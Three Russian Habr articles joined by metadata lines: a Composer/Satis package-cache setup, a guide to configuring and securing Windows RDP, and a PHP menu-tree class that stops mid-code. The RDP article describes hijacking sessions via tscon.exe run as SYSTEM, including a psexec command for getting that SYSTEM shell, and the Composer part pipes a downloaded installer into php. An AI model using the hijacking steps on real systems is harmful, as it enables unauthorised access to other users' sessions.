Посмотрим пример минимальной установки фреймворка [Silex](http://silex.sensiolabs.org) на (debian/ubuntu):
```
mkdir /path/to/your/webroot/silex; cd /path/to/your/webroot/silex
sudo apt-get install git php5 curl; curl -sS https://getcomposer.org/installer | php
```
Этой командой вы скачаете Composer в формате [PHP archive](http://www.php.net/manual/ru/book.phar.php) — composer.phar. Далее создаём минимальный composer.json:
```
echo '{"require": {"silex/silex": "~1.1"} }' > composer.json
php composer.phar install
```
Далее создаём web/index.php:
```
php
// web/index.php
require_once __DIR__.'/../vendor/autoload.php';
$app = new Silex\Application();
// definitions
$app-run();
```
Всё, фреймворк Silex готов, установку и запуск веб сервера опустим, в интернете полно готовых описаний.
Проблема с менеджером пакетов заключается в том, что слишком часто приходится устанавливать одни и те же пакеты. Каждая новая установка проекта, это обращение к [packagist.org](http://packagist.org) для нахождения источников зависимостей вашего пакета, зависимостей зависимостей и т.д. и дальнейшее скачивание необходимых пакетов. Справедливости ради стоит отметить, что у Composer есть встроенный кэш, но он хранится под ~/.composer/cache, и соответственно индивидуален для каждого пользователя, не говоря уже об отдельных средах для разработчиков, тестеров, QA, продакшн. И везде скачиваются одни и те же пакеты.
Большинство пакетов находятся на гитхабе, откуда скачиваются достаточно быстро чтоб не заворачиваться на локальные кэш. Но когда github в [очередной раз](http://www.securitylab.ru/news/445778.php) недоступен/тормозит из-за DDos, да ещё и размер зависимостей достигает сотен мегабайт — это становится проблемой. Github недоступен — работа стоит. Я предлагаю и в данный момент использую утилиту Satis.
[Satis](http://getcomposer.org/doc/articles/handling-private-packages-with-satis.md) — статическое хранилище Composer пакетов, ультра-легкая, статическая версии Packagist, может быть использована для размещения приватных пакетов вашей компании, или своих собственных.
Как видно из официального описания — главной целью Satis является возможность подключения приватных пакетов. Но так же Satis, имеет возможность скачивать пакеты из того же Packagist, хранить скаченные пакеты в zip или tar, а также раздавать их. Это нам и нужно. И так приступим к установке:
```
cd /path/to/your/webroot
sudo apt-get install php5 git curl; curl -sS https://getcomposer.org/installer | php
php composer.phar create-project composer/satis --stability=dev; cd satis
```
Далее создаём конфиг satis.json:
```
{
"name":"Project name",
"homepage":"http://packagist.example.com",
"archive":{
"directory":"dist",
"skip-dev":false
},
"repositories":[
{
"type":"composer",
"url":"https://packagist.org"
}
],
"require-dependencies":true,
"require":{
"silex/silex":">1"
}
}
```
* *name*: имя вашего хранилища,
* *homepage*: линк по которому будет доступна "/path/to/your/webroot/satis/web" директория;
* *archive.directory*: путь где будут храниться кэш пакетов;
* *archive.skip-dev*: пропускать ли дев пакеты. Дев часто меняются, но если мы хотим полностью избавиться от зависимости от packagist.org, github, bitbucket и т.д. то ставим false;
* *repositories*: список хранилищ, их может быть несколько. Можно указывать прямые линки пакетов на github и т.д;
* *{ «type»: «composer», «url»: «[packagist.org](https://packagist.org)» }*: указываем оригинальное для Composer хранилище пакетов — Packagist;
* *require-dependencies*: нужно ли скачивать зависимости зависимостей. Опять же, для полной независимости ставим true;
* *require*: список пакетов кэш которых мы хотим использовать, ;
* *{«silex/silex»: ">1"}*: для данного примера возьмём «require» из примера с установкой Silex фреймворка, с указанием версий выше первой;
И запускаем сборку:
```
php bin/satis build satis.json web/
```
**У меня получился такой output:**Scanning packages
Creating local downloads in 'web//dist'
Dumping 'doctrine/annotations-1.0.0.0'.
Dumping 'doctrine/annotations-1.1.0.0'.
Dumping 'doctrine/annotations-1.1.1.0'.
Dumping 'doctrine/annotations-1.1.2.0'.
Dumping 'doctrine/annotations-9999999-dev'.
Dumping 'doctrine/cache-1.0.0.0'.
Dumping 'doctrine/cache-1.1.0.0'.
Dumping 'doctrine/cache-1.2.0.0'.
Dumping 'doctrine/cache-9999999-dev'.
Dumping 'doctrine/collections-1.0.0.0'.
Dumping 'doctrine/collections-1.1.0.0'.
Dumping 'doctrine/collections-9999999-dev'.
Dumping 'doctrine/common-2.2.0.0'.
Dumping 'doctrine/common-2.2.0.0-RC1'.
Dumping 'doctrine/common-2.2.0.0-RC3'.
Dumping 'doctrine/common-2.2.0.0-RC4'.
Dumping 'doctrine/common-2.2.0.0-RC5'.
Dumping 'doctrine/common-2.2.0.0-beta1'.
Dumping 'doctrine/common-2.2.0.0-beta2'.
Dumping 'doctrine/common-2.2.1.0'.
Dumping 'doctrine/common-2.2.2.0'.
Dumping 'doctrine/common-2.2.3.0'.
Dumping 'doctrine/common-2.2.9999999.9999999-dev'.
Dumping 'doctrine/common-2.3.0.0'.
Dumping 'doctrine/common-2.3.0.0-RC1'.
Dumping 'doctrine/common-2.3.0.0-RC2'.
Dumping 'doctrine/common-2.3.0.0-RC3'.
Dumping 'doctrine/common-2.3.0.0-beta1'.
Dumping 'doctrine/common-2.3.9999999.9999999-dev'.
Dumping 'doctrine/common-2.4.0.0'.
Dumping 'doctrine/common-2.4.0.0-RC1'.
Dumping 'doctrine/common-2.4.0.0-RC2'.
Dumping 'doctrine/common-2.4.0.0-RC3'.
Dumping 'doctrine/common-2.4.0.0-RC4'.
Dumping 'doctrine/common-2.4.1.0'.
Dumping 'doctrine/common-2.4.9999999.9999999-dev'.
Dumping 'doctrine/common-9999999-dev'.
Dumping 'doctrine/inflector-1.0.0.0'.
Dumping 'doctrine/inflector-9999999-dev'.
Dumping 'doctrine/lexer-1.0.0.0'.
Dumping 'doctrine/lexer-9999999-dev'.
Dumping 'pimple/pimple-1.0.0.0'.
Dumping 'pimple/pimple-1.0.1.0'.
Dumping 'pimple/pimple-1.0.2.0'.
Dumping 'pimple/pimple-9999999-dev'.
Dumping 'psr/log-1.0.0.0'.
Dumping 'silex/silex-1.0.1.0'.
Dumping 'silex/silex-1.0.9999999.9999999-dev'.
Dumping 'silex/silex-1.1.0.0'.
Dumping 'silex/silex-1.1.1.0'.
Dumping 'silex/silex-9999999-dev'.
Dumping 'symfony/debug-2.3.0.0'.
Dumping 'symfony/debug-2.3.1.0'.
Dumping 'symfony/debug-2.3.2.0'.
Dumping 'symfony/debug-2.3.3.0'.
Dumping 'symfony/debug-2.3.4.0'.
Dumping 'symfony/debug-2.3.5.0'.
Dumping 'symfony/debug-2.3.6.0'.
Dumping 'symfony/debug-2.3.9999999.9999999-dev'.
Dumping 'symfony/debug-2.4.0.0-beta1'.
Dumping 'symfony/debug-9999999-dev'.
Dumping 'symfony/event-dispatcher-2.1.0.0'.
Dumping 'symfony/event-dispatcher-2.1.1.0'.
Dumping 'symfony/event-dispatcher-2.1.10.0'.
Dumping 'symfony/event-dispatcher-2.1.11.0'.
Dumping 'symfony/event-dispatcher-2.1.12.0'.
Dumping 'symfony/event-dispatcher-2.1.13.0'.
Dumping 'symfony/event-dispatcher-2.1.2.0'.
Dumping 'symfony/event-dispatcher-2.1.3.0'.
Dumping 'symfony/event-dispatcher-2.1.4.0'.
Dumping 'symfony/event-dispatcher-2.1.5.0'.
Dumping 'symfony/event-dispatcher-2.1.6.0'.
Dumping 'symfony/event-dispatcher-2.1.7.0'.
Dumping 'symfony/event-dispatcher-2.1.8.0'.
Dumping 'symfony/event-dispatcher-2.1.9.0'.
Dumping 'symfony/event-dispatcher-2.1.9999999.9999999-dev'.
Dumping 'symfony/event-dispatcher-2.2.0.0'.
Dumping 'symfony/event-dispatcher-2.2.1.0'.
Dumping 'symfony/event-dispatcher-2.2.2.0'.
Dumping 'symfony/event-dispatcher-2.2.3.0'.
Dumping 'symfony/event-dispatcher-2.2.4.0'.
Dumping 'symfony/event-dispatcher-2.2.5.0'.
Dumping 'symfony/event-dispatcher-2.2.6.0'.
Dumping 'symfony/event-dispatcher-2.2.7.0'.
Dumping 'symfony/event-dispatcher-2.2.8.0'.
Dumping 'symfony/event-dispatcher-2.2.9.0'.
Dumping 'symfony/event-dispatcher-2.2.9999999.9999999-dev'.
Dumping 'symfony/event-dispatcher-2.3.0.0'.
Dumping 'symfony/event-dispatcher-2.3.1.0'.
Dumping 'symfony/event-dispatcher-2.3.2.0'.
Dumping 'symfony/event-dispatcher-2.3.3.0'.
Dumping 'symfony/event-dispatcher-2.3.4.0'.
Dumping 'symfony/event-dispatcher-2.3.5.0'.
Dumping 'symfony/event-dispatcher-2.3.6.0'.
Dumping 'symfony/event-dispatcher-2.3.9999999.9999999-dev'.
Dumping 'symfony/event-dispatcher-2.4.0.0-beta1'.
Dumping 'symfony/event-dispatcher-9999999-dev'.
Dumping 'symfony/http-foundation-2.1.0.0'.
Dumping 'symfony/http-foundation-2.1.1.0'.
Dumping 'symfony/http-foundation-2.1.10.0'.
Dumping 'symfony/http-foundation-2.1.11.0'.
Dumping 'symfony/http-foundation-2.1.12.0'.
Dumping 'symfony/http-foundation-2.1.13.0'.
Dumping 'symfony/http-foundation-2.1.2.0'.
Dumping 'symfony/http-foundation-2.1.3.0'.
Dumping 'symfony/http-foundation-2.1.4.0'.
Dumping 'symfony/http-foundation-2.1.5.0'.
Dumping 'symfony/http-foundation-2.1.6.0'.
Dumping 'symfony/http-foundation-2.1.7.0'.
Dumping 'symfony/http-foundation-2.1.8.0'.
Dumping 'symfony/http-foundation-2.1.9.0'.
Теперь нужно подправить конфиг пакетов в проекте который будет использовать наш Satis кэш, опять же воспользуемся примером Silex:
```
cd /path/to/your/webroot/silex
echo '{"repositories": [{ "type": "composer", "url": "http://packagist.example.com" },{ "packagist": false } ], "require": {"silex/silex": "~1.1"}}' > composer.json
```
**Отформатированная версия composer.json**
```
{
"repositories":[
{
"type":"composer",
"url":"http://packagist.example.com"
},
{
"packagist":false
}
],
"require":{
"silex/silex":"~1.1"
}
}
```
* *repositories*: список хранилищ пакетов;
* *{ «type»: «composer», «url»: «[packagist.example.com](http://packagist.example.com)» }*: линк на наше, только что, созданное Satis хранилище с типом composer.
* *{ «packagist»: false }*: по умолчанию, если пакет не будет найден в списке указанных хранилищ, Composer полезет искать пакеты на Packagist. Это хорошо и удобно. Но, если мы разрэшим такое поведение, то мы не можем быть уверены, что действительно все пакеты есть у нас на локальном хранилище. Добавлю своё наблюдение: если у вас много зависимостей, то [Composer ест много памяти](https://github.com/composer/composer/issues/1898), некоторые рапортуют размеры в 3Гб… что печалит. Так вот, похожую ситуацию наблюдали и мы, до тех пор пока не оставили лишь одно хранилище. То есть, или [packagist.org](http://packagist.org) или своё Satis;
* *require*: список зависимостей;
* *{«silex/silex»: "~1.1"}*: пока нам нужен только Silex;
Теперь, чтоб убедиться в работоспособности нашей структуры, нам нужно очистить кэш Composer, иначе Composer возьмёт пакет из своего кэша:
```
cd /path/to/your/webroot/silex; rm composer.lock; rm -fr vendor; rm -fr ~/.composer/cache
php composer.phar install
```
Всё. Если настройки правильные, теперь Composer будет брать пакеты из нашего локального кэша (http://packagist.example.com).
Минус предложенного решения в том, что кэшируемые пакеты приходится прописывать в конфигурационном файле Satis (satis.json) руками, то есть Satis не будет работать как прокси с авто-кэшингом, что на мой взгляд, является упущением. Так же нужно настроить крон скрипт который будет дёргать Satis build для обновления дев-пакетов и скачивания новых версий пакетов:
`0 */12 * * * cd /path/to/your/webroot/satis/; php bin/satis build satis.json ./web/`
P.S. неточности и ошибки прошу в личку.
P.S.S. другие решения кэшинга Composer пакетов, предлагаю обсудить в коментариях. | https://habr.com/ru/post/197666/ | null | ru | null |
# RDP. Игра в три буквы
Как известно, протокол удаленного рабочего стола ([Remote Desktop Protocol](https://ru.wikipedia.org/wiki/Remote_Desktop_Protocol) или RDP) позволяет [удаленно подключаться к компьютерам](https://support.microsoft.com/en-us/help/17463/windows-7-connect-to-another-computer-remote-desktop-connection) под управлением Windows и доступен любому пользователю Windows, если у него [не версия Home](https://social.technet.microsoft.com/Forums/ru-RU/227cfc26-12ca-4a7e-8421-5513ecdb8052/-?forum=win10itprogeneralRU), где есть только клиент RDP, но не хост. Это удобное, эффективное и практичное средство для удаленного доступа для целей администрирования или повседневной работы. В последнее время оно приглянулось майнерам, которые используют RDP для удаленного доступа к своим фермам. [Поддержка RDP](https://support.microsoft.com/ru-ru/help/2923545/update-for-rdp-8-1-is-available-for-windows-7-sp1) включена в ОС Windows, начиная еще с NT 4.0 и XP, однако далеко не все знают, как ею пользоваться. Между тем можно открывать удаленный рабочий стол Microsoft с компьютеров под Windows, Mac OS X, а также с мобильных устройств с ОС Android или с iPhone и iPad.
[](https://habr.com/company/ruvds/blog/358630/)
Если должным образом разбираться в настройках, то RDP будет хорошим средством удаленного доступа. Он дает возможность не только видеть удаленный рабочий стол, но и пользоваться ресурсами удаленного компьютера, подключать к нему локальные диски или периферийные устройства. При этом компьютер должен иметь внешний IP, (статический или динамический), или должна быть возможность «пробросить» порт с маршрутизатора с внешним IP-адресом.
Серверы RDP нередко применяют для совместной работы в системе 1С, или на них разворачивают рабочие места пользователей, позволяя им подключаться к своему рабочему месту удаленно. Клиент RDP позволяет дает возможность работать с текстовыми и графическими приложениями, удаленно получать какие-то данные с домашнего ПК. Для этого на роутере нужно пробросить порт 3389, чтобы через NAT получить доступ к домашней сети. Тоже относится к настройке RDP-сервера в организации.
RDP многие считают небезопасным способом удаленного доступа по сравнению с использованием [специальных программ](https://www.comss.ru/list.php?c=remote_access), таких как [RAdmin](https://www.osp.ru/lan/2015/11/13047560/), TeamViewer, VNC и пр. Другой предрассудок – большой трафик RDP. Однако на сегодня RDP не менее безопасен, чем любое другое решение для удаленного доступа (к вопросу безопасности мы еще вернемся), а с помощью настроек можно добиться высокой скорости реакции и небольшой потребности в полосе пропускания.
Как защитить RDP и настроить его производительность
---------------------------------------------------
| | |
| --- | --- |
| Шифрование и безопасность | Нужно открыть gpedit.msc, в «Конфигурация компьютера — Административные шаблоны — Компоненты Windows — Службы удаленных рабочих столов — Безопасность» задать параметр «Требовать использования специального уровня безопасности для удаленных подключений по методу RDP» и в «Уровень безопасности» выбрать «SSL TLS». В «Установить уровень шифрования для клиентских подключений» выберите «Высокий». Чтобы включить использование FIPS 140-1, нужно зайти в «Конфигурация компьютера — Конфигурация Windows — Параметры безопасности — Локальные политики — Параметры безопасности» и выбрать «Системная криптография: использовать FIPS-совместимые алгоритмы для шифрования, хэширования и подписывания». Параметр «Конфигурация компьютера — Параметры Windows — Параметры безопасности — Локальные политики — Параметры безопасности» параметр «Учетные записи: разрешать использование пустых паролей только при консольном входе» должен быть включен. Проверьте список пользователей, которые могут подключаться по RDP. |
| Оптимизация | Откройте «Конфигурация компьютера — Административные шаблоны — Компоненты Windows — Службы удаленных рабочих столов — Среда удаленных сеансов». В «Наибольшая глубина цвета» выберите 16 бит, этого достаточно. Снимите флажок «Принудительная отмена фонового рисунка удаленного рабочего стола». В «Задание алгоритма сжатия RDP» установите «Оптимизация использования полосы пропускания. В «Оптимизировать визуальные эффекты для сеансов служб удаленных рабочих столов» установите значение «Текст». Отключите «Сглаживание шрифтов». |
Базовая настройка выполнена. Как подключиться к удаленному рабочему столу?
Подключение к удаленному рабочему столу
---------------------------------------
Для [подключения по RDP](http://www.dprotricks.com/remote-desktop-access-computer-remotely/) необходимо, на удаленном компьютере была учетная запись с паролем, в системе должны быть разрешены удаленные подключения, а чтобы не менять данные доступа при постоянно меняющемся динамическом IP-адресе, в [настройках сети](http://spvcomp.com/stat/rdp_nastroit_udaalennij_rabochij_stol.php) можно присвоить статический IP-адрес. Удаленный доступ возможен только на компьютерах с Windows Pro, Enterprise или Ultimate.
Для удаленного подключения к компьютеру нужно разрешить подключение в «Свойствах Системы» и задать пароль для текущего пользователя, либо создать для RDP нового пользователя. Пользователи обычных аккаунтов не имеют права самостоятельно предоставлять компьютер для удаленного управления. Такое право им может дать администратор. Препятствием использования протокола RDP может стать его блокировка антивирусами. В таком случае RDP нужно разрешить в настройках антивирусных программ.
Стоит отметить особенность некоторых серверных ОС: если один и тот же пользователь попытается зайти на сервер локально и удаленно, то локальный сеанс закроется и на том же месте откроется удаленный. И наоборот, при локальном входе закроется удаленный сеанс. Если же зайти локально под одним пользователем, а удаленно — под другим, то система завершит локальный сеанс.
Подключение по протоколу RDP осуществляется между компьютерами, находящимися в одной локальной сети, или по интернету, но для этого потребуются дополнительные действия – проброс порта 3389 на роутере, либо соединение с удаленным компьютером по VPN.
Чтобы подключиться к удаленному рабочему столу [в Windows 10](http://windows10x.ru/kak-podklyuchitsya-k-udalennomu-rabochemu-stolu-v-windows-10/), можно разрешить удаленное подключение в «Параметры — Система — Удаленный рабочий стол» и указать пользователей, которым нужно предоставить доступ, либо создать отдельного пользователя для подключения. По умолчанию доступ имеют текущий пользователь и администратор. На удаленной системе запустите утилиту для подключения.
Нажмите Win+R, введите MSTSC и нажмите Enter. В окне введите IP-адрес или имя компьютера, выберите «Подключить», введите имя пользователя и пароль. Появится экран удаленного компьютера.
При подключении к удаленному рабочему столу через командную строку (MSTSC) можно задать дополнительные параметры RDP:
| | |
| --- | --- |
| Параметр | Значение |
| /v:<сервер[: порт]> | Удаленный компьютер, к которому выполняется подключение. |
| /admin | Подключение к сеансу для администрирования сервера. |
| /edit | Редактирование RDP-файла. |
| /f | Запуск удаленного рабочего стола на полном экране. |
| /w:<ширина> | Ширина окна удаленного рабочего стола. |
| /h:<высота> | Высота окна удаленного рабочего стола. |
| /public | Запуск удаленного рабочего стола в общем режиме. |
| /span | Сопоставление ширины и высоты удаленного рабочего стола с локальным виртуальным рабочим столом и развертывание на несколько мониторов. |
| /multimon | Настраивает размещение мониторов сеанса RDP в соответствии с текущей конфигурацией на стороне клиента. |
| /migrate | Миграция файлов подключения прежних версий в новые RDP-файлы. |
Для Mac OS компания Microsoft выпустила официальный RDP-клиент, который стабильно работает при подключении к любым версиям ОС Windows. В Mac OS X для подключения к компьютеру Windows нужно скачать из App Store приложение Microsoft Remote Desktop. В нем кнопкой «Плюс» можно добавить удаленный компьютер: введите его IP-адрес, имя пользователя и пароль. Двойной щелчок на имени удаленного рабочего стола в списке для подключения откроет рабочий стол Windows.
На смартфонах и планшетах под Android и iOS нужно установить приложение Microsoft Remote Desktop («Удаленный рабочий стол Майкрософт») и запустить его. Выберите «Добавить» введите параметры подключения — IP-адрес компьютера, логин и пароль для входа в Windows. Еще один способ — проброс на роутере порта 3389 на IP-адрес компьютера и подключение к публичному адресу роутера с указанием данного порта. Это делается с помощью опции Port Forwarding роутера. Выберите Add и введите:
```
Name: RDP
Type: TCP & UDP
Start port: 3389
End port: 3389
Server IP: IP-адрес компьютера для подключения.
```
А что насчет Linux? RDP –закрытый протокол Microsoft, она не выпускает RDP-клиентов для ОС Linux, но можно воспользоваться клиентом Remmina. Для пользователей Ubuntu есть специальные репозитории с Remmina и RDP.
Протокол RDP также используется для подключения к виртуальным машинам Hyper-V. В отличие от окна подключения гипервизора, при подключении по RDP виртуальная машина видит различные устройства, подсоединенных к физическому компьютеру, поддерживает работу со звуком, дает более качественное изображение рабочего стола гостевой ОС и т.д.
У [провайдеров виртуального хостинга](https://ruvds.com/ru-rub?yclid=1481722412419795385) серверы VPS под Windows по умолчанию обычно также доступны для подключения по стандартному протоколу RDP. При использовании стандартной операционной системы Windows для подключения к серверу достаточно выбрать: «Пуск — Программы — Стандартные — Подключение к удаленному рабочему столу» или нажать Win+R и в открывшемся окне набрать MSTSC. В окне вводится IP-адрес VPS-сервера.
Нажав кнопку «Подключить», вы увидите окно с полями авторизации.
Чтобы серверу были доступны подключенные к вашему ПК USB-устройства и сетевые принтеры, при первом подключении к серверу выберите «Показать параметры» в левом нижнем углу. В окне откройте вкладку «Локальные ресурсы» и выберите требуемые параметры.
С помощью опции сохранения данных авторизации на удаленном компьютере параметры подключения (IP-адрес, имя пользователя и пароль) можно сохранить в отдельном RDP-файлом и использовать его на другом компьютере.
RDP также можно использовать для [подключения к виртуальным машинам Azure](https://azure.microsoft.com/en-us/resources/templates/101-vm-with-rdp-port/).
Настройка другой функциональности удаленного доступа
----------------------------------------------------
В окне подключения к удаленному компьютеру есть вкладки с настраиваемыми параметрами.
| | |
| --- | --- |
| Вкладка | Назначение |
| «Экран» | Задает разрешение экрана удаленного компьютера, то есть окна утилиты после подключения. Можно установить низкое разрешение и пожертвовать глубиной цвета. |
| «Локальные ресурсы» | Для экономии системных ресурсов можно отключить воспроизведение звука на удаленном компьютере. В разделе локальных устройств и можно выбрать принтер и другие устройства основного компьютера, которые будут доступны на удаленном ПК, например, USB-устройства, карты памяти, внешние диски. |
Подробности настройки удаленного рабочего стола в Windows 10 – [в этом видео](https://youtu.be/wCBYZv_e6Yw). А теперь вернемся к безопасности RDP.
Как «угнать» сеанс RDP?
-----------------------
Можно ли перехватывать сеансы RDS? И как от этого защищаться? Про возможность угона RDP-сессии в Microsoft Windows известно с 2011 года, а год назад исследователь [Александр Корзников](http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html) в своем блоге детально описал методики угона. Оказывается, существует возможность подключиться к любой запущенной сессии в Windows (с любыми правами), будучи залогиненным под какой-либо другой.
Некоторые приемы позволяют перехватить сеанс без логина-пароля. Нужен лишь доступ к командной строке NT AUTHORITY/SYSTEM. Если вы запустите tscon.exe в качестве пользователя SYSTEM, то сможете подключиться к любой сессии без пароля. RDP не запрашивает пароль, он просто подключает вас к рабочему столу пользователя. Вы можете, например, сделать дамп памяти сервера и получить пароли пользователей. Простым запуском tscon.exe с номером сеанса можно получить рабочий стол указанного пользователя — без внешних инструментов. Таким образом, с помощью одной команды имеем взломанный сеанс RDP. Можно также использовать утилиту psexec.exe, если она была предварительно установлена:
```
psexec -s \\localhost cmd
```
Или же можно [создать службу](https://tproger.ru/news/windows-session-vulnerability/), которая будет подключать атакуемую учетную запись, и запустить ее, после чего ваша сессия будет заменена целевой. Вот некоторые замечания о том, как далеко это позволяет зайти:
* Вы можете подключиться к отключенным сеансам. Поэтому, если кто-то вышел из системы пару дней назад, вы можете просто подключиться прямо к его сеансу и начать использовать его.
* Можно разблокировать заблокированные сеансы. Поэтому, пока пользователь находится вдали от своего рабочего места, вы входите в его сеанс, и он разблокируется без каких-либо учетных данных. Например, сотрудник входит в свою учетную запись, затем отлучается, заблокировав учетную запись (но не выйдя из нее). Сессия активна и все приложения останутся в прежнем состоянии. Если системный администратор входит в свою учетную запись на этом же компьютере, то получает доступ к учетной записи сотрудника, а значит, ко всем запущенным приложениям.
* Имея права локального администратора, можно атаковать учетную запись с правами администратора домена, т.е. более высокими, чем права атакующего.
* Можно подключиться к любой сессии. Если, например, это Helpdesk, вы можете подключиться к ней без какой-либо аутентификации. Если это администратор домена, вы станете админом. Благодаря возможности подключаться к отключенным сеансам вы получаете простой способ перемещения по сети. Таким образом, злоумышленники могут использовать эти методы как для проникновения, так и для дальнейшего продвижения внутри сети компании.
* Вы можете использовать эксплойты win32k, чтобы получить разрешения SYSTEM, а затем задействовать эту функцию. Если патчи не применяются должным образом, это доступно даже обычному пользователю.
* Если вы не знаете, что отслеживать, то вообще не будете знать, что происходит.
* Метод работает удаленно. Вы можете выполнять сеансы на удаленных компьютерах, даже если не зашли на сервер.
Этой угрозе подвержены многие серверные ОС, а количество серверов, использующих RDP, постоянно увеличивается. Оказались уязвимы Windows 2012 R2, Windows 2008, Windows 10 и [Windows 7](https://support.microsoft.com/ru-ru/help/17463/windows-7-connect-to-another-computer-remote-desktop-connection). Чтобы не допустить угона RDP-сессий, рекомендуется использовать двухфакторную аутентификацию. Обновленные Sysmon Framework для ArcSight и Sysmon Integration Framework для Splunk предупреждают администратора о запуске вредоносных команд с целью угнать RDP-сессию. Также можно воспользоваться утилитой Windows Security Monitor для мониторинга событий безопасности.
Наконец, рассмотрим, как удалить подключение к удаленному рабочему столу. Это полезная мера нужна, если необходимость в удаленном доступе пропала, или требуется запретить подключение посторонних к удаленному рабочему столу. Откройте «Панель управления – Система и безопасность – Система». В левой колонке кликните «Настройка удаленного доступа». В разделе «Удаленный рабочий стол» выберите «Не разрешать подключения к этому компьютеру». Теперь никто не сможет подключиться к вам через удаленный рабочий стол.
В завершение – еще несколько лайфхаков, которые могут пригодиться при работе с удаленным рабочим столом Windows 10, да и просто при удаленном доступе.
1. Для доступа к файлам на удаленном компьютере можно использовать OneDrive:
2. Как перезагрузить удаленный ПК в Win10? Нажмите Alt+F4. Откроется окно:
Альтернативный вариант — командная строка и команда shutdown.
Если в команде shutdown указать параметр /i, то появится окно:
3. В Windows 10 Creators Update раздел «Система» стал богаче на еще один подраздел, где реализована возможность активации удаленного доступа к компьютеру с других ОС, в частности, с мобильных посредством приложения Microsoft Remote Desktop:
4. По разным причинам может не работать подключение по RDP [к виртуальной машине Windows Azure](https://azure.microsoft.com/en-us/resources/templates/101-vm-with-rdp-port/). Проблема может быть с сервисом удаленного рабочего стола на виртуальной машине, сетевым подключением или клиентом удаленного рабочего стола клиента на вашем компьютере. Некоторые из самых распространенных методов решения проблемы RDP-подключения [приведены здесь](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/troubleshoot-rdp-connection).
5. Из обычной версии Windows 10 вполне возможно сделать терминальный сервер, и тогда к обычному компьютеру смогут подключаться несколько пользователей по RDP и одновременно работать с ним. Как уже отмечалось выше, сейчас популярна работа нескольких пользователей с файловой базой 1С. Превратить Windows 10 в сервер терминалов поможет средство, которое хорошо себя зарекомендовало в Windows 7 — [RDP Wrapper Library by Stas’M](https://ithelpblog.pro/2017/03/kak-nastroit-server-terminalov-v-windows-10-o/).
6. В качестве «RDP с человеческим лицом» можно использовать Parallels Remote Application Server (RAS), но некоторые его особенности [должны быть настроены](https://habrahabr.ru/company/parallels/blog/340820/) на стороне Windows Server (либо в виртуальных машинах, которые вы используете).
Как видите, решений и возможностей, которые открывает удаленный доступ к компьютеру, множество. Не случайно им пользуется большинство предприятий, организаций, учреждений и офисов. Этот инструмент полезен не только системным администраторам, но и руководителям организаций, да и простым пользователям удаленный доступ тоже весьма полезен. Можно помочь починить или оптимизировать систему человеку, который в этом не разбирается, не вставая со стула, передавать данные или получить доступ к нужным файлам находясь в командировке или в отпуске в любой точке мира, работать за офисным компьютером из дома, управлять своим виртуальным сервером и т.д.
Удачи!
[](https://ruvds.com/ru-rub/#order)
P.S. Мы ищем авторов для нашего блога на Хабрахабре.
Если у вас есть технические знания по работе с виртуальными серверами, вы умеете объяснить сложные вещи простыми словами, тогда команда RUVDS будет рада работать с вами, чтобы опубликовать ваш пост на Хабрахабре. Подробности по [ссылке](https://ruvds.com/ru-rub/vps/post/authors).
[](https://ruvds.com/ru-rub/vps/post/authors) | https://habr.com/ru/post/358630/ | null | ru | null |
# Мой взгляд на деревья в PHP
Привет, собственно, этот пост я решил написать в ответ [воот на это](http://habrahabr.ru/sandbox/25447/) сообщение из песочницы.
Я не считаю себя профи в программировании, хотя иногда очень хочется, но все-же, я считаю, что неправильно таким способом строить деревья).
Я Буду строить не дерево комментариев, а дерево меню. Мой способ построения меню легко модифицировать и для построения дерева комментариев. Меню может иметь любое количество вложенных подменю. Моя структура таблицы меню такая:
`m_Id
m_Position
m_LineId
m_ParentId
m_Type
m_Title
m_Description
m_Data`
Когда я озадачился построением дерева, мне было лень думать самому, я решил поискать по этим вашим тырнетам готовые решения. Готовые решения вроде как, кто-то предлагал, но эти готовые решения были реализованы во фреймворках, что мне не подходило, остальные же, деревья строили с кучей запросов к БД, но я верил что есть способ построить сколь угодно огромное дерево всего в 1 запрос, причем, безо всяких извращенств со всякими там COUNT() и прочей лабуды. Не буду тянуть время, приведу код своего класса, который строит дерево меню:
```
class MenuFactory extends BaseClass
{
/**
*
* var mixed Здесь будет храниться меню в виде дерева
*/
public $MenuTree;
/**
*
* @var mixed Здесь будет храниться меню в виде списка, т.е. так, как оно хранится в базе
*/
public $MenuList;
private $level=0;
/**
*
* @param int Id ленты меню для загрузки
* @param int/bool Если bool==true - возвращаем меню в виде списка стиле, иначе в виде дерева меню. Если число, возвращает меню в виде дерева с глубиной равной числу
* @return mixed
*/
public function GetMenu($menu_id, $return_as_list = false)
{
// выбираем все пункты меню из заданной ленты меню
$this->sql->Query("SELECT * FROM `menus` WHERE `m_LineId`=?d ORDER BY m_Position, m_ParentId", $menu_id);
//
$this->MenuList = array();
$ml = array();
while($r = $this->sql->Assoc())
{
// создаем экземпляр типа MenuItem из результата запроса
$m = CommonUtils::ObjectFromArray('MenuItem', CommonUtils::DelPrefix($r,'m_'));
// добавляем его в список элементов меню
$this->MenuList[] = $m;
// создаем дубликат элемента меню для того, чтобы в дальнейшем можно было построить дерево
$ml[] = clone $m;
}
// если $return_as_list == true возвращаем меню в виде обычного списка
if(is_bool($return_as_list) && $return_as_list)
{
return $this->MenuList;
}
// иначе, если $return_as_list == false возвращаем дерево меню
else if(!$return_as_list)
{
$this->MenuTree = array();
$this->MenuTree = $this->GetMenuChilds(0,$ml);
return $this->MenuTree;
}
// иначе, если $return_as_list == число, возвращаем дерево меню со степенью бложенности, равной этому числу
else if(is_numeric($return_as_list))
{
$this->MenuTree = array();
$this->MenuTree = $this->GetMenuChilds(0,$ml, $return_as_list);
return $this->MenuTree;
}
//print_r($this->menuTree);
}
/**
*
* @param int $p_id Id родительского пункта меню
* @param mixed $menuList список элементов меню, среди которых будет осуществлен поиск дочерних пунктов
* @param int $levels глубина поиска
* @return mixed Возвращает список дочерних пунктов меню
*/
private function GetMenuChilds($p_id, $menuList, $levels = null)
{
// Здесь будет храниться список веток, расположенных на текущем уровне
$a = array();
// Проверяем каждый элемент списка
foreach($menuList as $item)
{
//TODO: Optimize code
// Если ParentId текущего элемента меню совпадает с искомым id,
// значит, что мы нашли дочерний элемент меню. Сделаем несколько проверок
if($item->ParentId == $p_id)
{
$this->level++;
// если $levels указан, и его значение меньше $this->levels,
// значит нас просят вернуть дерево меню со вложенностью, равной $levels
if($levels != null && $this->level <= $levels)
{
// Получаем список дочерних пунктов меню относительно текущего. Говорим методу что нам нужно получить из
// $this->MenuList список элементов меню, ParentId которых равен id текущего элемента меню,
// ну, и передаем информацию о текущей глубине
